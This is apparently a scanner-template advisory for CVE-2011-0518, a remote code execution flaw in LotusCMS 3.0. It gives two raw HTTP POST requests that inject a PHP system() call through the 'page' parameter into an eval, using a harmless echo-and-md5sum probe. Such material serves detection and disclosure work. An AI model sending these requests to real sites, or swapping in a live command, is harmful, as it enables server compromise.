| Title | LotusCMS 3.0 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full system compromise. |
| Remediation | Enable magic_quotes_gpc or sanitize 'system' parameter, and update to the latest version of LotusCMS Fraise. |
| CVSS Score | 10 |
| EPSS Score | 0.61971 |
| CVE ID | CVE-2011-0518 |
| CWE ID | CWE-77 |
| Tags | cve cve2011 lotuscms rce vuln |
LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the ‘page’ parameter, which will be passed to a eval call and allow remote code execution.
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 56
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
page=index');${system('echo lotuscms_rce | md5sum')};#
POST /lcms/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 56
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
page=index');${system('echo lotuscms_rce | md5sum')};#
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-0518.yaml
🦈 Packet Capture: ⬇️ Download cve-2011-0518.pcap
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